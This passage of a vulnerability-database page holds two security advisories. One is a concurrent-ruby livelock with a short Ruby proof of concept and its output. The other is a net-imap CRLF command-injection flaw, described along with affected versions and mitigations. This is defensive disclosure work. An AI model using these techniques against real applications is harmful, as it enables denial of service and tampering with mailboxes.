Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-h8w8-99g7-qmvj",
"modified": "2026-06-19T20:47:35Z",
"published": "2026-06-19T20:47:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
GHSA-HM49-WCQC-G2XG
Vulnerability from github – Published: 2026-05-04 22:04 – Updated: 2026-06-17 19:45Summary
Several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands.
Details
Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAP astring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either a atom, quoted, or literal. These are safe from command or argument injection.
But the following commands transform specific String arguments to Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:
* #uid_search, #search, #uid_sort, #sort, #uid_thread, #thread
* when criteria is a String, it is sent raw
* #uid_fetch, #fetch
* whenattris a String, it is sent raw
* whenattris an Array, each String inattris sent raw
*#uid_store,#store* whenattris a String, it is sent raw
*#setquota:
*limitis interpolated with#to_s` and that string is sent raw
Because these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.
Using \"raw data\" arguments for #uid_store, #store, and #setquota I both inappropriate and unnecessary. Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.
The API for search criteria and fetch attributes is intentionally low-level and \"close to the wire\". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.
Although this was explicitly documented for search criteria, it was insufficiently documented for fetch attr. So developers may not have realized that the attr argument to #fetch and #uid_fetch is sent as \"raw data\".
Impact
If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.
The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.
Expected use of Net::IMAP#setquota is much more limited: SETQUOTA is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol SETQUOTA command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling #setquota with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.
Mitigation
- Update to a patched version of
net-imapwhich: - validates that
Net::IMAP::RawDatais composed of well-formed IMAPtext,literal, andliteral8values, with no unescapedNULL,CR, orLFbytes. - does not use
Net::IMAP::RawDatafor#store,#uid_store, or#setquota. - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
- If an immediate upgrade is not possible:
- String inputs to search criteria and fetch attributes can be validated against command injection by checking for
\rand\ncharacters. - Hard-coding the store
attrargument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application. - Use
Kernel#Integerto coerce and validate user controlled inputs to#setquotalimit.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42257"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:04:41Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\nSeveral `Net::IMAP` commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain `CRLF` sequences, which an attacker can use to inject arbitrary IMAP commands.\n\n### Details\n\n`Net::IMAP`\u0027s generic argument handling, used by most command arguments, interprets string arguments as an IMAP `astring`. Depending on the string contents and the connection\u0027s UTF-8 support, this encodes strings as either a `atom`, `quoted`, or `literal`. These are safe from command or argument injection.\n\nBut the following commands transform specific String arguments to `Net::IMAP::RawData`, which bypasses normal argument validation and encoding and prints the string directly to the socket:\n* `#uid_search`, `#search`, `#uid_sort`, `#sort`, `#uid_thread`, `#thread`\n * when `criteria` is a String, it is sent raw\n* `#uid_fetch`, `#fetch\n * when `attr` is a String, it is sent raw\n * when `attr` is an Array, each String in `attr` is sent raw\n* `#uid_store`, `#store`\n * when `attr` is a String, it is sent raw\n* `#setquota`:\n * `limit` is interpolated with `#to_s` and that string is sent raw\n\nBecause these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.\n\nUsing \\\"raw data\\\" arguments for `#uid_store`, `#store`, and `#setquota` I both inappropriate and unnecessary. `Net::IMAP`\u0027s generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.\n\nThe API for search criteria and fetch attributes is intentionally low-level and \\\"close to the wire\\\". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.\n\nAlthough this was explicitly documented for search `criteria`, it was insufficiently documented for fetch `attr`. So developers may not have realized that the `attr` argument to `#fetch` and `#uid_fetch` is sent as \\\"raw data\\\".\n\n### Impact\n\nIf a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not _directly_ enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system\u0027s attributes, e.g.: shared mail folders or the application\u0027s installed response handlers.\n\nThe SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.\n\nThe SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.\n\nExpected use of `Net::IMAP#setquota` is much more limited: `SETQUOTA` is often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocol `SETQUOTA` command. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling `#setquota` with untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.\n\n### Mitigation\n - Update to a patched version of `net-imap` which:\n - validates that `Net::IMAP::RawData` is composed of well-formed IMAP `text`, `literal`, and `literal8` values, with no unescaped `NULL`, `CR`, or `LF` bytes.\n - does not use `Net::IMAP::RawData` for `#store`, `#uid_store`, or `#setquota`.\n - Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.\n - If an immediate upgrade is not possible:\n - String inputs to search criteria and fetch attributes can be validated against command injection by checking for `\\r` and `\\n` characters.\n - Hard-coding the store `attr` argument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.\n - Use `Kernel#Integer` to coerce and validate user controlled inputs to `#setquota` limit.",
"id": "GHSA-hm49-wcqc-g2xg",
"modified": "2026-06-17T19:45:30Z",
"published": "2026-05-04T22:04:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/0ec4fd351263e8b9a4f683713427827b7b1ad974"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/47c72186d272441878ca73c9499f66013829ca2f"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/a4f7649c3da77dec7631f03a037a478eb4330048"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42257.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to command Injection via \"raw\" arguments to multiple commands"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.